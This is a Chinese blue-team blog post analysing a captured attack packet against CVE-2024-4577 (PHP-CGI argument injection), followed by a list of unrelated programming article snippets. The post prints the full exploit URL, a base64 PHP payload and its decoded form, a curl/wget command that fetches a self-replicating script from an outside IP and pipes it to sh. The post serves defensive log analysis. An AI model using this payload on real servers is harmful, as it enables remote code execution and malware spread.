当前位置： 首页 > news >正文

WEB安全--蓝队日志--RCE数据包分析

news 来源：原创 2025/8/26 10:29:27

一、分析数据包内容

攻击者通过URL请求+POST传参的方式试图绕过IPS测试RCE漏洞的利用

URL请求中的内容进行urlcode解码后是这样的：

http://资产IP/hello.world?-d allow_url_include=1 -d auto_prepend_file=php://input
1. -d allow_url_include=1：
  • 使用 PHP 的 -d 命令行参数，在执行时动态设置配置项。
  • allow_url_include=1：启用从 URL 包含文件的功能，这通常在 php.ini 是禁用的。
  • 它允许 include() 或 require() 加载远程地址，如 http://attacker.com/shell.txt。
2. -d auto_prepend_file=php://input：
  • 这个设置使 PHP 在解析主脚本之前，自动包含一个文件。
  • 这里指定的文件是 php://input，也就是HTTP 请求体（POST data）中的原始输入流。
  • 也就是说可以直接包含POST中的数据并执行

然后再结合POST传递的内容分析：

请求体中的内容是：

<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzEwNC4yNDUuMjQwLjI4L3NoIHx8IHdnZXQgaHR0cDovL
zEwNC4yNDUuMjQwLjI4L3NoIC1PLSk7IGVjaG8gIiRYIiB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzcuc2VsZnJlcA=="));
echo(md5("Hello CVE-2024-4577")); ?>

其中base64字段解码后：

<?php shell_exec( X=$(curl http://104.245.240.28/sh || wget http://104.245.240.28/sh -O-); 
echo "$X" | sh -s cve_2024_4577.selfrep);echo(md5("Hello CVE-2024-4577")); ?>

这条命令的目的是利用远程代码执行漏洞（RCE）来从远程服务器下载一个脚本并执行它，而它特别指向了一个命名为 cve_2024_4577.selfrep 的 payload，表明攻击者试图利用 2024 年披露的某个 CVE（CVE-2024-4577）漏洞，进行进一步的自动传播或感染操作。

二、判断攻击者的目的

1、通过GET参数-d开启allow_url_include=1和auto_prepend_file=php://input

        其目的是执行POST传递的数据流

2、POST注入恶意PHP脚本，内容为：

        使用shell_exec()执行shell命令

X=$(curl http://104.245.240.28/sh || wget http://104.245.240.28/sh -O-); echo "$X" | sh -s cve_2024_4577.selfrep

        通过curl或wget访问攻击者远程搭建的服务器中104.245.240.28中的sh文件

        把内容赋值给X

        将X的值通过管道符传递给靶机本地sh执行

        -s cve_2024_4577.selfrep 表明传递一个参数给脚本，脚本内部可能会根据这个参数执行

3、然后通过echo(md5("Hello CVE-2024-4577")); 输出一个hash，用于回显检测是否成功执行。

相关文章：

WEB安全--蓝队日志--RCE数据包分析

一、分析数据包内容 攻击者通过URL请求POST传参的方式试图绕过IPS测试RCE漏洞的利用 URL请求中的内容进行urlcode解码后是这样的&#xff1a; http://资产IP/hello.world?-d allow_url_include1 -d auto_prepend_filephp://input 1. -d allow_url_include1&#xff1a; 使…...

编程日记 2025/8/26 10:29:27

springboot项目添加定时任务，用sftp推送zip包到目标服务器

用sftp推送zip包到目标服务器 任务类里面&#xff0c;主要功能是&#xff0c;定时采集三张表的数据&#xff0c;并把数据转换成csv&#xff0c;三份csv压缩成一个加密的zip包&#xff0c;通过sftp推送到指定的目录下 配置类 Data Configuration ConfigurationProperties(pre…...

编程日记 2025/8/23 18:09:38

Mobaxterm 突破 14个 session 限制

mobaxterm 可以说非常好用&#xff0c;但是免费版对会话有限制&#xff0c;对于有很多虚拟机会话需要存储的我来说确实太少了。 当Xterm会话数量到14个时&#xff0c;发现新增的会话没有保存下来&#xff0c;在左侧菜单无法新增保存会话session。 超过限制时&#xff0c;提示…...

编程日记 2025/8/17 18:46:49

体系结构论文（七十一）:Quantifying the Impact of Data Encoding on DNN Fault Tolerance

Quantifying the Impact of Data Encoding on DNN Fault Tolerance 研究动机 深度神经网络&#xff08;DNN&#xff09;在硬件运行时可能遇到位翻转&#xff08;bit-flip&#xff09;错误&#xff0c;特别是在能效和面积敏感的平台上&#xff08;如边缘设备、移动端&#xff0…...

编程日记 2025/8/26 10:27:22

学习笔记十一——零基础搞懂 Rust 函数式编程

&#x1f9e0; 零基础搞懂 Rust 函数式编程&#xff1a;到底什么是 “函数式”&#xff1f; Rust 是一门多范式语言&#xff0c;既可以像 C/Java 那样写“命令式代码”&#xff0c;也支持“函数式编程”。但很多刚入门的小伙伴可能会有这些疑问&#xff1a; 函数不就是函数吗&…...

编程日记 2025/8/26 10:22:24

Spark-SQL2

利用IDEA开发Spark-SQL 自定义函数 UDF&#xff1a; UDAF&#xff08;自定义聚合函数&#xff09; 强类型的 Dataset 和弱类型的 DataFrame 都提供了相关的聚合函数&#xff0c; 如 count()&#xff0c;countDistinct()&#xff0c;avg()&#xff0c;max()&#xff0c;min()。…...

编程日记 2025/8/26 10:24:42

python实战案例：玩具销售数据分析

原创 IT小本本 IT小本本 2025年04月12日 22:45 北京 本文将通过一个玩具销售数据的分析案例&#xff0c;展示如何利用 Python 和数据可视化工具从原始数据中提取有价值的商业洞察。将从数据加载、预处理到可视化分析&#xff0c;逐步揭示玩具销售的规律和趋势。 数据准备与加…...

编程日记 2025/8/20 14:19:55

模拟浏览器指纹：生成与定制特定属性

在现代网络环境中&#xff0c;浏览器指纹是一种强大的标识技术&#xff0c;用于区分不同的浏览器实例。通过收集浏览器的各种属性&#xff08;如用户代理、Canvas 指纹、WebGL 特性等&#xff09;&#xff0c;可以生成一个独特的指纹&#xff0c;用于跟踪用户行为或防止欺诈。本…...

编程日记 2025/8/26 10:22:23

vue+vite 减缓首屏加载压力和性能优化

vuevite 减缓首屏加载压力和性能优化 1、预加载项目必需的组件2、模块加载优化3、HMR 热更新优化4 、环境配置优化5、代码模式优化6、高级优化技巧7、架构级优化打包压缩配置 在vuevite构建的工程里面&#xff0c;性能优化分为开发环境和打包后的生产环境&#xff0c;作为开发首…...

编程日记 2025/8/23 20:20:35

狂神SQL学习笔记十三：Delete 和 Truncate 详解

1、删除 保留表的结构不变&#xff0c;清空表的数据 truncate重新设置 自增列 计数器会归零&#xff0c;如果用delete删除&#xff0c;则自增不会变&#xff0c;重新插入数据时自增会从原来的地方开始...

编程日记 2025/8/26 10:29:24

封装实用的时间选择器组件

<template><!-- 使用该时间选择器组件&#xff0c;重置搜索表单的时候&#xff0c;注意得使用async await让重置表单操作完成后再发起请求 --><div class"dateTimePickerSelectWrap"><el-date-pickerv-model"arr":type"dateType…...

编程日记 2025/8/26 8:27:53

关于Blade框架对数字类型的null值转为-1问题

关于Blade框架对数字类型的null值转为-1问题 问题&#xff1a;最近项目遇到了一个问题&#xff0c;SpringBoot项目后端Long类型的数据&#xff0c;如果是NULL的话&#xff0c;返回给前端的时候是-1。如下图&#xff1a; 分析 是由于使用了 blade 框架&#xff0c;项目启动的…...

编程日记 2025/8/21 8:00:22

如何安全地管理固定功能设备？

什么是固定功能设备&#xff1f; 固定功能设备是指具有特定、单一或有限功能的设备&#xff0c;其功能在设计和制造时就被固定下来&#xff0c;通常难以进行大规模的功能扩展或修改。固定功能设备只需要运行特定的应用程序。自动取款机、销售商家用机器、支付站点以及其他专门…...

编程日记 2025/8/24 12:38:05

AttributeError: ‘NoneType‘ object has no attribute ‘pydev_do_not_trace‘

目录 问题描述1. **IDE缓存损坏**(此办法帮我解决问题)2. **PyCharm版本过旧**3. **Python解释器配置问题**4. **第三方库或插件冲突**5. **重置调试配置**其他建议问题原因分析 问题描述 print(ok) Traceback (most recent call last):File "D:\pycharm\PyCharm Communi…...

编程日记 2025/8/21 8:16:44

协享云图分析--3用户模块

用户表 -- 用户表 create table if not exists user (id bigint auto_increment comment id primary key,userAccount varchar(256) not null comment 账号,userPassword varchar(512) not null comment 密码…...

编程日记 2025/8/25 11:10:47

visual studio 如何在 release 模式下调试

在 Visual Studio 中&#xff0c;在 Release 模式下进行调试, 以下是具体步骤&#xff1a; 一、修改项目属性&#xff1a; 右键点击解决方案资源管理器中的项目&#xff0c;选择“属性”。 在“生成”选项卡中&#xff0c;找到“定义 DEBUG 常量”和“定义 TRACE 常量”&…...

编程日记 2025/8/26 10:27:23

课堂总结。

第三章第六节 Spark-SQL核心编程&#xff08;五&#xff09;自定义函数&#xff1a;UDF&#xff1a;val sparkConf new SparkConf().setMaster("local[*]").setAppName("SQLDemo")//创建SparkSession对象val spark :SparkSession SparkSession.builder()…...

编程日记 2025/8/25 7:11:49

JDBC 初认识、速了解

目录 一. JDBC的简介 1. 数据的持久化 2. 什么是JDBC 二. JDBC中常用的类和接口 1. Driver 接口 2. DriverManager 类 3. Connection 接口 4. Statement 接口 5. PreparedStatement接口 6. ResultSet 接口 三. 总结 前言 从现在开始就来讲解JDBC的相关知识了 本文的…...

编程日记 2025/8/26 10:24:39

双指针算法

引入 双指针顾名思义&#xff0c;就是同时使用两个指针&#xff0c;在序列、链表结构上指向的是位置&#xff0c;在树、图结构中指向的是节点&#xff0c;通过或同向移动&#xff0c;或相向移动来维护、统计信息。 ——OI Wiki 接下来我们来看双指针的几个具体使用方法。 板子…...

编程日记 2025/8/26 10:27:23

关于TD算法的笔记【时间差分】

1. TD算法逻辑&#xff1a;TD算法即时间差分算法&#xff0c;结合了蒙特卡洛方法和动态规划思想&#xff0c;通过当前估计值和下一个时间步观测值更新状态价值估计&#xff0c;无需完整episode或环境完整信息。 2. 下一时刻估计值计算&#xff1a;下一时刻估计值为 r_{t 1}\g…...

编程日记 2025/8/25 15:17:05

计算斐波那契数列

1.对于斐波那契数列的理解&#xff1a; (1)常规 该数列由兔子繁衍的想法产生&#xff0c;故又“兔子数列” 其数值为&#xff1a;1、1、2、3、5、8、13、21、34 从数学定义上走&#xff1a;F(0)1&#xff0c;F(1)1, F(n)F(n - 1)F(n - 2)&#xff08;n ≥ 2&#xff0c;n ∈…...

编程日记 2025/8/26 10:24:41

Oracle REGEXP_SUBSTR

在 Oracle 数据库中&#xff0c;REGEXP_SUBSTR 是一个基于正则表达式的字符串处理函数&#xff0c;用于从目标字符串中提取符合特定模式的子串。它比传统的 SUBSTR 函数更灵活&#xff0c;适用于复杂的模式匹配需求。以下是其核心原理、参数解析及实际案例详解&#xff1a; 一…...

编程日记 2025/8/25 10:23:30

无人机自主导航与路径规划技术要点！

一、自主导航与路径规划技术要点 1. 传感器融合 GPS/北斗定位&#xff1a;提供全局定位&#xff0c;但在室内或遮挡环境下易失效。 惯性测量单元&#xff08;IMU&#xff09;**&#xff1a;通过加速度计和陀螺仪实时追踪姿态&#xff0c;弥补GPS信号丢失时的定位空缺。 …...

编程日记 2025/8/23 7:33:38

DDS波形发生器仿真及技术原理

1. 引言 在现代数字信号处理、电路设计以及通信系统中&#xff0c;直接数字频率合成&#xff08;DDS&#xff09;技术因其高速、精细的频率分辨率以及连续相位输出等优点而得到广泛应用。本文主要探讨在DE2-115开发板平台上基于DDS技术实现波形发生器的设计与实践。通过该设计…...

编程日记 2025/8/26 10:22:20

Java使用ANTLR4解析IDL文件

文章目录 前言解析IDL文件准备两个IDL文件准备一个IDL Grammar文件maven配置生成Lexer Parser Listener Visitor代码新建实体类IDL解析遍历器单元测试 参考 前言 接着上篇&#xff1a;Java使用ANTLR4对Lua脚本语法校验&#xff0c;介绍了什么是ANTLR&#xff1f;/ 举了一个hel…...

编程日记 2025/8/21 16:52:06

04-Seata 深度解析：从分布式事务原理到 Seata 实战落地

Seata 深度解析&#xff1a;从分布式事务原理到 Seata 实战落地 一、分布式事务核心理论与挑战 1.1 分布式事务的本质难题 在微服务架构中&#xff0c;一次业务操作可能涉及多个服务的数据库操作&#xff0c;传统单体事务&#xff08;ACID&#xff09;无法跨越服务边界&…...

编程日记 2025/8/22 1:45:08

2025企业增长新引擎：AI Agent驱动人效跃迁｜白皮书2.0发布

2025年伊始&#xff0c;一款名为DeepSeek-R1的国产AI大模型以其高性能、低成本等核心优势成功霸榜热搜&#xff0c;在全国乃至全球掀起一场以AI为核心的技术革新与管理变革。 面对这样极具颠覆性的革新命题&#xff0c;易路人力资源科技王天扬先生自2022年起就率团队持续专注于…...

编程日记 2025/8/26 10:24:42

IJCV-2025 | 深圳大学记忆增强的具身导航！ESceme：基于情景记忆的视觉语言导航

作者&#xff1a;Qi Zheng 1 , 2 ^{1,2} 1,2, Daqing Liu 3 ^{3} 3, Chaoyue Wang 3 ^{3} 3, Jing Zhang 2 ^{2} 2, Dadong Wang 4 ^{4} 4, Dacheng Tao 2 ^{2} 2单位&#xff1a; 1 ^{1} 1深圳大学电子与信息工程学院&#xff0c; 2 ^{2} 2悉尼大学计算机科学学院&#xff0c;…...

编程日记 2025/8/19 10:57:15

[第十六届蓝桥杯 JavaB 组] 真题 + 经验分享

A&#xff1a;逃离高塔(AC) 这题就是简单的签到题&#xff0c;按照题意枚举即可。需要注意的是不要忘记用long&#xff0c;用int的话会爆。 &#x1f4d6; 代码示例&#xff1a; import java.io.*; import java.util.*; public class Main {public static PrintWriter pr ne…...

编程日记 2025/8/19 20:26:18

《分布式软总线：网络抖动下的数据传输“定海神针”》

在当下&#xff0c;智能设备之间的互联互通已成为生活与工作的刚需。分布式软总线作为实现这一愿景的关键技术&#xff0c;正日益凸显其重要性。然而&#xff0c;网络环境的复杂性&#xff0c;尤其是网络抖动频繁的情况&#xff0c;给分布式软总线的数据传输带来了严峻挑战。如…...

编程日记 2025/8/25 5:59:06

C++函数

函数 为什么要使用函数 已经有main函数&#xff0c;为什么还要自定义函数&#xff1f;&#xff1a;“避免重复制造轮子”&#xff0c;提高开发效率 函数的定义 函数的设计方法&#xff1a;先确定函数的功能、确定函数的参数、是否需要参数&#xff0c;参数的个数&#xff0c…...

编程日记 2025/8/20 18:54:45

FreeRTOS菜鸟入门（五）·空闲任务与阻塞延时的实现

目录 1. 实现空闲任务 1.1 定义空闲任务的栈 1.2 定义空闲任务的任务控制块 1.3 创建空闲任务 2. 实现阻塞延时 2.1 vTaskDelay()函数 2.2 修改 vTaskSwitchContext()函数 3. SysTick 中断服务函数 4. SysTick 初始化函数 通过之前我们了解知道&#xff0c;任…...

编程日记 2025/8/23 7:38:42

PCIe 学习笔记（一）

系列文章目录 【PCIe】链路测试&#xff0c;数字工程师也要会看高速信号眼图&#xff01; 【PCIe】链路训练状态机(LTSSM) - PCIe链路建立过程概述 【PCIe】PCIe设备的BDF与系统枚举过程 文章目录 系列文章目录PCIe LTSSM**1. 链路训练状态&#xff08;Training States&#…...

编程日记 2025/8/26 5:08:23

【正点原子STM32MP257连载】第四章 ATK-DLMP257B功能测试——LED、按键测试

1&#xff09;实验平台&#xff1a;正点原子ATK-DLMP257B开发板 2&#xff09;浏览产品&#xff1a;https://www.alientek.com/Product_Details/135.html 3&#xff09;全套实验源码手册视频下载&#xff1a;正点原子资料下载中心 文章目录 第四章 ATK-DLMP257B功能测试4.1 LED…...

编程日记 2025/8/17 20:03:29

深度为16，位宽8bit的单端口SRAM——学习记录

链接&#xff1a; 【Verilog HDL 训练】第 13 天&#xff08;存储器、SRAM&#xff09;-云社区-华为云 module sram #(parameter ADDR_BITS4)(input clk,input [ 7:0] addr,input [ 7:0] din,input ce,input we,output reg [ 7:0] dout);localparam MEM_DEPTH 1<<ADDR_…...

编程日记 2025/8/20 12:20:53

面向对象编程

在面向对象编程中&#xff0c;除了通过创建类的实例来访问其属性和方法外&#xff0c;还可以通过在一个类里创建另一个类的属性&#xff08;本质上也是持有另一个类的实例引用&#xff09;的方式来访问该类的属性和方法。下面为你详细解释这两种方式&#xff1a; 1. 通过创建实…...

编程日记 2025/8/20 10:48:37

远程登录一个Linux系统，如何用命令快速知道该系统属于Linux的哪个发行版，以及该服务器的各种配置参数，运行状态？

远程登录一个Linux系统&#xff0c;如何用命令快速知道该系统属于Linux的哪个发行版&#xff0c;以及该服务器的各种配置参数&#xff0c;运行状态&#xff1f; 查看Linux发行版信息 查看发行版名称和版本&#xff1a; cat /etc/*-release或 lsb_release -a查看内核版本&#…...

编程日记 2025/8/23 4:29:12

简单socket通信，回显 服务器程序与客户端程序之间的通信。

Socket 通信编程是一种基于网络的通信方式&#xff0c;允许不同主机上的程序通过网络进行数据交换。 实现结构try catch&#xff1a; 前情了解&#xff1a; 1.如何创建服务器端 定义ServerSocket套接字&#xff0c;需要等待客户端连接&#xff0c;阻塞&#xff0c;直到接入连接…...

编程日记 2025/8/24 20:43:59

C# 基类型和派生类型之间的转型

1.什么是基类型和派生类 基类型&#xff1a;父类&#xff0c;所有子类都继承自它。 派生类型&#xff1a;子类&#xff0c;继承了父类的属性和方法&#xff0c;还可以添加自己的新功能。 例子&#xff1a; class Animal { }//基类型 class Dog : Animal { }//派生类型 这…...

编程日记 2025/8/17 18:44:18

深度学习--激活函数

激活函数通过计算加权和并加上偏置来确定神经元是否应该倍激活&#xff0c;它们将输入信号转换为输出的可微运算。大多数激活函数都是非线性的&#xff0c;由于激活函数是深度学习的基础&#xff0c;下面简要介绍一些常见的激活函数。 1 RelU函数 最受欢迎的激活函数是修正线性…...

编程日记 2025/8/19 19:01:12

MySQL 缓存机制全解析：从磁盘 I/O 到性能优化

MySQL 缓存机制全解析&#xff1a;从磁盘 I/O 到性能优化 MySQL 的缓存机制是提升数据库性能的关键部分&#xff0c;它通过多级缓存减少磁盘 I/O 和计算开销&#xff0c;从而提高查询和写入的效率。 1. 为什么需要缓存&#xff1f; 数据库的性能瓶颈通常集中在磁盘 I/O 上。…...

编程日记 2025/8/25 20:07:33

【项目管理】第17章 项目干系人管理-- 知识点整理

项目管理-相关文档，希望互相学习，共同进步 风123456789～-CSDN博客 （一）知识总览 项目管理知识域 知识点： （项目管理概论、立项管理、十大知识域、配置与变更管理、绩效域） 对应：第6章-第19章 第6章 项目管理概论 4分第13章 项目资源管理 3-4分第7章 项目…...

编程日记 2025/8/21 9:25:29

编程语言到mysql ‘\‘到数量关系

在 MySQL 的模糊查询中&#xff0c;反斜杠 \ 的转义规则需要根据 转义层级 和 SQL 模式 来确定。以下是详细说明及示例&#xff1a; 一、默认模式下&#xff08;未启用 NO_BACKSLASH_ESCAPES&#xff09; 1. 规则说明 反斜杠转义&#xff1a;\ 是 MySQL 的默认转义字符。 转义…...

编程日记 2025/8/20 10:56:10

本地生活服务平台搭建方案详解：同城跑腿外卖系统源码一体化开发

在数字化浪潮不断推进的今天&#xff0c;本地生活服务平台正逐渐成为人们日常生活中不可或缺的一部分。从点餐外卖到同城帮买、帮送、帮取&#xff0c;用户对即时服务的需求愈发强烈。与此同时&#xff0c;创业者和本地商家也纷纷看好“同城服务 外卖配送”的一体化平台模式&a…...

编程日记 2025/8/20 16:22:34

索引语法SQL性能分析索引的使用

目录 准备: 一.索引语法 1). 创建索引 2). 查看索引 3). 删除索引 4).使用索引查询和普通查询的区别 二.SQL性能分析 1.SQL执行频率 2.慢查询日志 3.profile详情 4.explain 三.索引的使用 1.最左前缀法则 2.范围查询 3.索引失效情况 索引列运算 字符串不加引号…...

编程日记 2025/8/24 9:21:33

Docker技术基础新手入门教程

Docker技术深度解析：从架构到实战的运维指南 一、Docker核心架构与组件详解1. 什么是Docker？1. Docker引擎（Docker Engine）2. Docker对象模型二、关键技术深度剖析1. 容器隔离机制2. 容器网络模型网络驱动类型自定义网络实战3. 存储卷与数据持久化三种挂载方式对比示例：My…...

编程日记 2025/8/22 1:09:41

NO.93十六届蓝桥杯备战|图论基础-拓扑排序|有向无环图|AOV网|摄像头|最大食物链计数|杂物(C++)

有向⽆环图 若⼀个有向图中不存在回路&#xff0c;则称为有向⽆环图(directed acycline graph)&#xff0c;简称 DAG 图 AOV⽹ 举⼀个现实中的例⼦&#xff1a;课程的学习是有优先次序的&#xff0c;如果规划不当会严重影响学习效果。课程间的先后次序可以⽤有向图表⽰ 在…...

编程日记 2025/8/20 15:54:48

Rust泛型与特性

文章目录 泛型函数中的泛型结构体与枚举中的泛型特性&#xff08;trait&#xff09;默认特性Trait作为参数特性做返回值 给结构体实现方法 泛型 泛型编程是现代编程语言中重要的机制 C是通过模板来实现泛型的&#xff0c;而C语言中是没有泛型的 泛型是用来表达抽象类型的机制…...

编程日记 2025/8/20 14:19:24

Day08【基于预训练模型分词器实现交互型文本匹配】

基于预训练模型分词器实现交互型文本匹配 目标数据准备参数配置数据处理模型构建主程序测试与评估总结 目标 本文基于预训练模型bert分词器BertTokenizer&#xff0c;将输入的文本以文本对的形式&#xff0c;送入到分词器中得到文本对的词嵌入向量&#xff0c;之后经过若干网络…...

编程日记 2025/8/22 2:22:50

基于uniapp 实现画板签字

直接上效果图 代码 <template><view class"container"><!-- 签名画布 --><view class"canvas-container"><canvas canvas-id"signCanvas" class"sign-canvas"touchstart"handleTouchStart"touc…...

编程日记 2025/8/24 7:52:09